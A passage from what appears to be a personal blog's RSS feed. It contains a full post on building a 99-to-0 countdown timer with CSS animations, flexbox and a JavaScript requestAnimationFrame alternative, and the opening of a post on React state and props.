</content:encoded></item><item><title>Can you make a countdown timer in pure CSS?</title><link>https://chenhuijing.com/blog/can-you-make-a-countdown-timer-in-pure-css/</link><guid isPermaLink="true">https://chenhuijing.com/blog/can-you-make-a-countdown-timer-in-pure-css/</guid><description>I must first apologise for the somewhat rhetorical question as the title. About 3 minutes after I wrote it, my brain exclaimed: “This is clickbait! Clearly if…</description><pubDate>Sat, 25 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I must first apologise for the somewhat rhetorical question as the title. About 3 minutes after I wrote it, my brain exclaimed: “This is clickbait! Clearly if you wrote an entire blog post, the answer should be yes, right??”&lt;/p&gt;
&lt;p&gt;Which led me to my next thought. When people write such titles, do they end with a negative conclusion, where the answer is no? What are the statistics on article titles like this? I have so many questions!&lt;/p&gt;
&lt;p&gt;This is also why I don&apos;t have many friends. Oh well.&lt;/p&gt;
&lt;p&gt;Warning, blog post grew ridiculously long. TL:DR of things is, yes you can do it in CSS but there&apos;s a much better way. Involves JavaScript, &lt;a href=&quot;#raf&quot;&gt;more details here&lt;/a&gt; if you want to skip through the CSS stuff.&lt;/p&gt;
&lt;h2&gt;Why even countdown in CSS?&lt;/h2&gt;
&lt;p&gt;Okay, I did not think about this topic out of the blue. I have a friend (I hope she thinks I&apos;m her friend). She tweeted her problem:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;I have a countdown timer and I need to show the milliseconds from 99 to 0. 9 to 0 has to be in single digit and centered. The font color and background color of the countdown timer is customisable. This timer will be implemented on both mobile and pc web page. Suggestions?&lt;/p&gt;&amp;mdash; Chong Jia Wei (@heyjiawei) &lt;a href=&quot;https://twitter.com/heyjiawei/status/1217776641998344194?ref_src=twsrc%5Etfw&quot;&gt;January 16, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The way my brain works is to wonder if everything can be built with CSS (the correct answer is no, not really, but you can still try because it&apos;s fun). Even though not &lt;em&gt;everything&lt;/em&gt; can nor should be built with only CSS, this timer thing seemed narrow enough to be plausible.&lt;/p&gt;
&lt;p&gt;I describe this as a brute-force method, because the underlying markup consists of all the digits from 0 to 9. You then have to animate them to mimic a timer. So maybe it is not the most elegant approach. But it can fulfil the requirements from the tweet!&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Here&apos;s the list of concepts used for this implementation:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;CSS transforms&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;CSS animations&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Flexbox&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Demo-only: CSS custom properties&lt;/li&gt;
  &lt;li&gt;Demo-only: Selectors&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;note&quot;&gt;Demo-only just means that it&apos;s additional functionality sprinkled on to make the demo slightly more fancy. Feel free to cut it out if, for whatever reason, you want to fork the code and use it somewhere.&lt;/div&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;390&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;qBELxJo&quot; style=&quot;height: 387px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;Pure CSS countdown from 99 to 0&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/qBELxJo&quot;&gt;
  Pure CSS countdown from 99 to 0&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;h2&gt;The general approach&lt;/h2&gt;
&lt;p&gt;If you Google “pure CSS countdown”, my approach of listing all the digits in the markup then doing some form of obscuring the irrelevant digits seems to be the most common solution. This is the markup for the 2 digits making up the timer:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;timer&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;digit seconds&amp;quot;&amp;gt;
    &amp;lt;span&amp;gt;9&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;8&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;7&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;6&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;5&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;4&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;3&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;2&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;1&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;0&amp;lt;/span&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;digit milliseconds&amp;quot;&amp;gt;
    &amp;lt;span&amp;gt;9&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;8&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;7&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;6&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;5&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;4&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;3&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;2&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;1&amp;lt;/span&amp;gt;
    &amp;lt;span&amp;gt;0&amp;lt;/span&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The idea is to animate the digits from 9 to 0 by vertically scrolling the block of digits and only showing the required digits at any point in time.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-countdown/sketch-480.png 480w, /images/posts/css-countdown/sketch-640.png 640w, /images/posts/css-countdown/sketch-960.png 960w, /images/posts/css-countdown/sketch-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-countdown/sketch-640.png&quot; alt=&quot;Mechanism behind the countdown&quot;&gt;
&lt;h2&gt;CSS transforms&lt;/h2&gt;
&lt;p&gt;The only CSS properties that are “safe” for animation are &lt;code&gt;transform&lt;/code&gt; and &lt;code&gt;opacity&lt;/code&gt;. If you&apos;re wondering why that is, allow me to point you to my favourite explanation by &lt;a href=&quot;https://twitter.com/aerotwist&quot;&gt;Paul Lewis&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/paul_irish&quot;&gt;Paul Irish&lt;/a&gt; on &lt;a href=&quot;https://www.html5rocks.com/en/tutorials/speed/high-performance-animations/&quot;&gt;High Performance Animations&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To animate my digits &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s upward, I turned to the trusty &lt;code&gt;translateY&lt;/code&gt; property. For this use case, my &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; is only moving along the y-axis anyway.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.selector {
  transform: translateY(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You could do the same with the &lt;code&gt;translate&lt;/code&gt; property, but then you&apos;d have to state the value for the x-axis as well because a single value in &lt;code&gt;translate&lt;/code&gt; resolves to the x-coordinate.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.selector {
  transform: translate(3em);
}
/* is equivalent to */
.selector {
  transform: translate(3em, 0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read more about the transform functions in the &lt;a href=&quot;https://www.w3.org/TR/css-transforms-1/#transform-functions&quot;&gt;CSS Transforms Module Level 1&lt;/a&gt; specification. The actual math is in there, and even if that&apos;s not your cup of tea, there are numerous examples in there that can help with understanding how the properties work.&lt;/p&gt;
&lt;h2&gt;CSS animations&lt;/h2&gt;
&lt;p&gt;The next step is to animate the transform over time. Cue CSS animations.&lt;/p&gt;
&lt;p&gt;The CSS animation properties offer a pretty decent range of functionality to make such an approach feasible. I know them because I researched this when I &lt;a href=&quot;/blog/figuring-out-css-animation-with-magic-kittencorn/&quot;&gt;tried to animate&lt;/a&gt; the &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;SingaporeCSS&lt;/a&gt; and &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; unofficial official mascots last year.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/css-animations-1/#keyframes&quot;&gt;Keyframes&lt;/a&gt; are a critical concept when you do animation. Keyframes are what you use to specify values for the properties being animated at specified points during the entire animation. They are specified with the &lt;code&gt;@keyframes&lt;/code&gt; at-rule.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes seconds {
  0% {
    transform: translateY(0);
  }
  10% {
    transform: translateY(-1em);
  }
  20% {
    transform: translateY(-2em);
  }
  30% {
    transform: translateY(-3em);
  }
  40% {
    transform: translateY(-4em);
  }
  50% {
    transform: translateY(-5em);
  }
  60% {
    transform: translateY(-6em);
  }
  70% {
    transform: translateY(-7em);
  }
  80% {
    transform: translateY(-8em);
  }
  90% {
    transform: translateY(-10em);
    width: 0;
  }
  100% {
    transform: translateY(-10em);
    width: 0;
  }
}

@keyframes milliseconds {
  0% {
    transform: translateY(0);
  }
  10% {
    transform: translateY(-1em);
  }
  20% {
    transform: translateY(-2em);
  }
  30% {
    transform: translateY(-3em);
  }
  40% {
    transform: translateY(-4em);
  }
  50% {
    transform: translateY(-5em);
  }
  60% {
    transform: translateY(-6em);
  }
  70% {
    transform: translateY(-7em);
  }
  80% {
    transform: translateY(-8em);
  }
  90% {
    transform: translateY(-9em);
  }
  100% {
    transform: translateY(-9em);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;ll explain the values after covering the animation properties needed for the countdown.&lt;/p&gt;
&lt;p&gt;In my demo, I&apos;ve gone with the shorthand of &lt;code&gt;animation&lt;/code&gt; so the code looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.seconds {
  animation: seconds 10s 1 step-end forwards;
}

.milliseconds {
  animation: milliseconds 1s 10 step-end forwards;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you open DevTools on the demo, and go to the &lt;em&gt;Computed&lt;/em&gt; tab (for Firefox or Safari, Chrome displays this list under their box model in &lt;em&gt;Styles&lt;/em&gt;), you will see the computed values for each of the different CSS properties used on your page.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-countdown/animation-props-480.png 480w, /images/posts/css-countdown/animation-props-640.png 640w, /images/posts/css-countdown/animation-props-960.png 960w, /images/posts/css-countdown/animation-props-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-countdown/animation-props-640.png&quot; alt=&quot;Animation properties in DevTools&quot;&gt;
&lt;p&gt;From there you can see that the &lt;code&gt;animation&lt;/code&gt; shorthand I used explicitly covers the following properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h3&gt;&lt;code&gt;animation-name&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This is used to identify the animation, and you can use any combination of case-sensitive letters &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;z&lt;/code&gt;, numerical digits &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;9&lt;/code&gt;, underscores, and/or dashes.&lt;/p&gt;
&lt;p&gt;The first non-dash character &lt;em&gt;must&lt;/em&gt; be a letter though, and you cannot use &lt;code&gt;--&lt;/code&gt; nor reserved keywords like &lt;code&gt;none&lt;/code&gt;, &lt;code&gt;unset&lt;/code&gt;, &lt;code&gt;initial&lt;/code&gt; or &lt;code&gt;inherit&lt;/code&gt; to start the name.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h3&gt;&lt;code&gt;animation-duration&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This sets the length of time your animation should take to complete 1 cycle. So for the seconds column of digits, I set it to &lt;code&gt;10s&lt;/code&gt; while for the milliseconds column of digits, I set it to &lt;code&gt;1s&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h3&gt;&lt;code&gt;animation-iteration-count&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This sets the number of times the animation should cycle through before stopping. The seconds column only needs to run once, while the milliseconds column needs to run through its animation cycle 10 times.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h3&gt;&lt;code&gt;animation-timing-function&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This describes how the animation progresses throughout the duration of each cycle. Timing functions can be fairly granular if you are familiar with &lt;code&gt;cubic-bezier()&lt;/code&gt; functions but I most often see people use keyword values for general use-cases.&lt;/p&gt;
&lt;p&gt;I used the &lt;code&gt;step-end&lt;/code&gt; keyword, which resolves to &lt;code&gt;steps(1, jump-end)&lt;/code&gt;. The &lt;code&gt;steps()&lt;/code&gt; function allows us to have stepped animation, where the first argument indicates the number of stops during the transition. Each stop is displayed for an equal amount of time.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;jump-end&lt;/code&gt; allows me move my &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; upward in steps instead of a smooth scroll, and pause at the end value of &lt;code&gt;translateY&lt;/code&gt;. This is a terrible sentence and even more horrible explanation.&lt;/p&gt;
&lt;p&gt;Please refer to &lt;a href=&quot;https://danielcwilson.com/blog/2019/02/step-and-jump/&quot;&gt;Jumps: The New Steps() in Web Animation&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/dancwilson&quot;&gt;Dan Wilson&lt;/a&gt; for a much better explanation. Visual demos and code in there!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h3&gt;&lt;code&gt;animation-fill-mode&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This lets you dictate how a CSS animation applies its styles to the target before and after the animation runs. I wanted the position of my &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s to remain at the last keyframe when the animation ends, so I set this value to &lt;code&gt;forwards&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the seconds digit, the last 2 frames don&apos;t need to be shown at all because the timer is not zero-padded. When the countdown hits 9, the seconds digit needs to not show up nor take up space. So those keyframes have an additional &lt;code&gt;width: 0&lt;/code&gt; property on them.&lt;/p&gt;
&lt;p&gt;Also, because I went with &lt;code&gt;forwards&lt;/code&gt; for the &lt;code&gt;animation-fill-mode&lt;/code&gt;, to make the 0 stay on screen at the end of the animation, the last frame for milliseconds remains at &lt;code&gt;-9em&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Read more about CSS animations in the &lt;a href=&quot;https://www.w3.org/TR/css-animations-1/&quot;&gt;CSS Animations Level 1&lt;/a&gt; specification. It broadly explains how animations work in the context of CSS, then covers in detail each of the individual animation properties. Also, examples of working code aplenty.&lt;/p&gt;
&lt;h2&gt;Flexbox&lt;/h2&gt;
&lt;p&gt;This is my favourite part. The requirement is that during the last second, when only the digits 9 to 0 remain on display, the whole timer has to be aligned center.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;raf&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here&apos;s where it is time to reveal the JavaScript solution, which is honestly, much more straightforward. The key here is &lt;code&gt;Window.requestAnimationFrame()&lt;/code&gt;. Here&apos;s the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame&quot;&gt;MDN entry for it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You&apos;re welcome.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;let end;
const now = Date.now;
const timer = document.getElementById(&amp;quot;timer&amp;quot;);
const duration = 9900;

function displayCountdown() {
  const count = parseInt((end - now()) / 100);
  timer.textContent = count &amp;gt; 0 ? (window.requestAnimationFrame(displayCountdown), count) : 0;
}

function start() {
  end = now() + duration;
  window.requestAnimationFrame(displayCountdown);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This implementation is also so much easier to style, because Flexbox.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;timer-container&amp;quot;&amp;gt;
  &amp;lt;p class=&amp;quot;timer&amp;quot; id=&amp;quot;timer&amp;quot;&amp;gt;99&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.timer-container {
  display: flex;
  height: 100vh; /* height can be anything */
}

.timer {
  margin: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When I started this post, I already said, just because you can do something with pure CSS doesn&apos;t mean you should. This is the prime example. Anyway, here&apos;s the Codepen with the same enhanced-for-demo-purposes functionality sprinkled on.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;400&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;YzPgYoG&quot; style=&quot;height: 406px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;Countdown from 99 to 0&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/YzPgYoG&quot;&gt;
  Countdown from 99 to 0&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;But let us continue with the pure CSS implementation, even if it is just an academic exercise at this point.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.timer-container {
  display: flex;
  height: 100vh; /* height can be anything */
}

.timer {
  overflow: hidden;
  margin: auto;
  height: 1em;
  width: 2ch;
  text-align: center;
}

.digit {
  display: inline-block;
}

.digit span {
  display: block;
  width: 100%;
  height: 1em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you compare this with the JavaScript implementation, you&apos;ll notice a lot of similarities.&lt;/p&gt;
&lt;p&gt;Yes, my friends. If you had suspected that I was using the modern-day CSS answer to vertical centring on the web, you are absolutely right. Auto-margins is the mechanism in play here.&lt;/p&gt;
&lt;p&gt;To be fair, the &lt;code&gt;display: flex&lt;/code&gt; and auto-margin on flex child technique centralises the whole timer block. Within the timer itself, the text should be centre-aligned with the &lt;code&gt;text-align&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;Read more about Flexbox in the &lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/&quot;&gt;CSS Flexible Box Layout Module Level 1&lt;/a&gt; specification. It is the definitive resource for how Flexbox works and even though it is fairly lengthy, there are plenty of code examples in there to help you visualise how things work.&lt;/p&gt;
&lt;h2&gt;Fun demo extra #1: Dynamic colour changing&lt;/h2&gt;
&lt;p&gt;Another requirement was for the font colour and background colour to be customisable. I&apos;m pretty sure she meant in the code and not on the fly, but since we can do this on the fly, why not?&lt;/p&gt;
&lt;p&gt;Cue CSS custom properties and the HTML colour input. Before you ask me about support for the colour input, I shall invoke first strike and display the &lt;a href=&quot;https://caniuse.com/&quot;&gt;caniuse&lt;/a&gt; chart for it.&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;input-color&quot; data-periods=&quot;future_1,current,past_1,past_2&quot; data-accessible-colours=&quot;true&quot;&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=input-color&quot;&gt;
  &lt;picture&gt;
    &lt;source type=&quot;image/webp&quot; srcset=&quot;https://caniuse.bitsofco.de/image/input-color.webp&quot;&gt;
    &lt;img src=&quot;https://caniuse.bitsofco.de/image/input-color.png&quot; alt=&quot;Data on support for the input-color feature across the major browsers from caniuse.com&quot;&gt;
  &lt;/picture&gt;
  &lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;Come on, this is pretty green here. So anyway, declare your custom properties for font colour and background colour like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;:root {
  --fontColour: #000000;
  --bgColour: #ffffff;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use them in the requisite elements like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.timer {
  /* other styles not shown for brevity */
  background-color: var(--bgColour, white);
}

.digit {
  /* other styles not shown for brevity */
  color: var(--fontColour, black);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s the set up for the timer itself. Now, control these colours with the colour input. Toss in 2 colour inputs into the markup and position them where you like. I went with the top-right corner.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;aside&amp;gt;
  &amp;lt;label&amp;gt;
    &amp;lt;span&amp;gt;Font colour:&amp;lt;/span&amp;gt;
    &amp;lt;input id=&amp;quot;fontColour&amp;quot; type=&amp;quot;color&amp;quot; value=&amp;quot;#000000&amp;quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label&amp;gt;
    &amp;lt;span&amp;gt;Background colour:&amp;lt;/span&amp;gt;
    &amp;lt;input id=&amp;quot;bgColour&amp;quot; type=&amp;quot;color&amp;quot; value=&amp;quot;#ffffff&amp;quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
&amp;lt;/aside&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, you can hook up the colour picker with the custom properties you declared in the stylesheet like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;let root = document.documentElement;
const fontColourInput = document.getElementById(&amp;quot;fontColour&amp;quot;);
const bgColorInput = document.getElementById(&amp;quot;bgColour&amp;quot;);

fontColourInput.addEventListener(&amp;quot;input&amp;quot;, updateFontColour, false);
bgColorInput.addEventListener(&amp;quot;input&amp;quot;, updateBgColour, false);

function updateFontColour(event) {
  root.style.setProperty(&amp;quot;--fontColour&amp;quot;, event.target.value);
}

function updateBgColour(event) {
  root.style.setProperty(&amp;quot;--bgColour&amp;quot;, event.target.value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s not that much code, and kind of fun to play with in a demo, IMHO.&lt;/p&gt;
&lt;h2&gt;Fun demo extra #2: Checkbox hack toggle&lt;/h2&gt;
&lt;p&gt;I could have left the demo to start automatically when the page loaded and letting people refresh the page to start the animation again, but I was going all in with the pure CSS thing, so…&lt;/p&gt;
&lt;p&gt;Anyway, checkbox hack plus overly-complicated selectors. That&apos;s how this was done. If you had just gone with JavaScript, which is probably the right thing to do, you could used a button with an event listener. But you&apos;re too deep in this rabbit hole now.&lt;/p&gt;
&lt;p&gt;I built this bit such that when unchecked, the label shows &lt;em&gt;Start&lt;/em&gt; but when the input is checked, the label shows &lt;em&gt;Restart&lt;/em&gt;. Because why not make things more complicated?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.toggle span {
  font-size: 1.2em;
  padding: 0.5em;
  background-color: palegreen;
  cursor: pointer;
  border-radius: 4px;
}

input[type=&amp;quot;checkbox&amp;quot;] {
  opacity: 0;
  position: absolute;
}

input[type=&amp;quot;checkbox&amp;quot;]:checked ~ aside .toggle span:first-of-type {
  display: none;
}

.toggle span:nth-of-type(2) {
  display: none;
}

input[type=&amp;quot;checkbox&amp;quot;]:checked ~ aside .toggle span:nth-of-type(2) {
  display: inline;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual bit that triggers the animation looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;input[type=&amp;quot;checkbox&amp;quot;]:checked ~ .timer .seconds {
  animation: seconds 10s 1 step-end forwards;
}

input[type=&amp;quot;checkbox&amp;quot;]:checked ~ .timer .milliseconds {
  animation: milliseconds 1s 10 step-end forwards;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the checkbox hack, the order of the elements on the page does matter because you can only target sibling selectors after an element and not before it. So the checkbox needs to be as near the top (and not nested) as possible.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Truth be told, I think I&apos;m a terrible technical writer because most of my posts are so long I reckon only a tiny handful of people ever read through the whole thing.&lt;/p&gt;
&lt;p&gt;But this is my blog, and not some official documentation, so I&apos;m kinda going to keep doing whatever and writing these ramble-y posts.&lt;/p&gt;
&lt;p&gt;At least I try to organise the content into coherent sections? Okay, to be fair, if I was writing for a proper publication, I&apos;d put on my big girl pants and write concisely (like a professional, LOL).&lt;/p&gt;
&lt;p&gt;Unfortunately, this is not a proper publication. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt; Anyway, much love if you really made it through the whole thing. Hope at least some of it was useful to you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.instagram.com/p/B7rUvx2hisB/&quot;&gt;autistic.shibe&apos;s instagram&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Basics of State and Props in React (2020 edition)</title><link>https://chenhuijing.com/blog/state-and-props-in-react/</link><guid isPermaLink="true">https://chenhuijing.com/blog/state-and-props-in-react/</guid><description>So I&apos;ve finally decided to sit my butt down and learn React properly. I&apos;ll talk a little bit about my opinion on React and why it took me so long to actually…</description><pubDate>Tue, 21 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So I&apos;ve finally decided to sit my butt down and learn React properly. I&apos;ll talk a little bit about my opinion on React and why it took me so long to actually do this &lt;a href=&quot;#optional-story-time-feel-free-to-disagree-with-my-opinion&quot;&gt;at the end&lt;/a&gt;, feel free to ignore it if you have better things to do with your life.&lt;/p&gt;
&lt;p&gt;I recall a chat I had with &lt;a href=&quot;https://twitter.com/swyx&quot;&gt;Shawn Wang&lt;/a&gt; on learning React and he mentioned how a few years ago, it was possible to read all the literature available and more or less figure out what was going on. But it&apos;s more tricky now because there&apos;s so much more information.&lt;/p&gt;
&lt;p&gt;(Well, in theory, you can sort of still go back and read &lt;a href=&quot;https://reactjs.org/blog/all.html&quot;&gt;the entire React blog&lt;/a&gt; from 2013 to get a feel of how things changed over time. Also, Shawn is amazing, follow him on ALL the things)&lt;/p&gt;
&lt;p&gt;React was (kind of?) official announced at &lt;a href=&quot;https://www.youtube.com/watch?v=GW0rj4sNH2w&quot;&gt;JSConfUS 2013&lt;/a&gt; so as of time of writing, that makes it over 6 years old. Ways of doing things have changed as new features have been released, and stuff got deprecated. Which brings us to 2020, when &lt;a href=&quot;https://reactjs.org/docs/hooks-intro.html&quot;&gt;&lt;strong&gt;Hooks&lt;/strong&gt;&lt;/a&gt; are the new hotness.&lt;/p&gt;
&lt;h2&gt;What are props?&lt;/h2&gt;
&lt;p&gt;Props are plain JavaScript objects that contain information. They can be used to pass data between React components.&lt;/p&gt;
&lt;h2&gt;What is state?&lt;/h2&gt;
&lt;p&gt;State is also a plain JavaScript object that contains information. It represents the dynamic parts of the React component, i.e. data that can change.&lt;/p&gt;
&lt;h2&gt;Let&apos;s talk about components&lt;/h2&gt;
&lt;p&gt;One of the key features of React is it is a component-based architecture. It says so on their website. The point is, a complex user-interface can be built up by combining different smaller components. Data flows and is managed via state and props.&lt;/p&gt;
&lt;p&gt;There are a couple of ways to define a React component. You can use a function like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function Player(props) {
  return (
    &amp;lt;p&amp;gt;
      {props.name} plays for the {props.team}
    &amp;lt;/p&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or you could use classes like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class Player extends React.Component {
  render() {
    return (
      &amp;lt;p&amp;gt;
        {this.props.name} plays for the {this.props.team}
      &amp;lt;/p&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But where did the props come from? You might ask.&lt;/p&gt;
&lt;p&gt;As mentioned earlier, props are used to pass data between components. Things might look clearer if we examined the bigger application.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function Player(props) {
  return (
    &amp;lt;p&amp;gt;
      {props.name} plays for the {props.team}.
    &amp;lt;/p&amp;gt;
  );
}

function App() {
  return (
    &amp;lt;div&amp;gt;
      &amp;lt;Player name=&amp;quot;Ashlyn Harris&amp;quot; team=&amp;quot;Orlando Pride&amp;quot; /&amp;gt;
      &amp;lt;Player name=&amp;quot;Megan Rapinoe&amp;quot; team=&amp;quot;Reign FC&amp;quot; /&amp;gt;
      &amp;lt;Player name=&amp;quot;Julie Ertz&amp;quot; team=&amp;quot;Chicago Red Stars&amp;quot; /&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}

ReactDOM.render(&amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;root&amp;quot;));
&lt;/code&gt;&lt;/pre&gt;
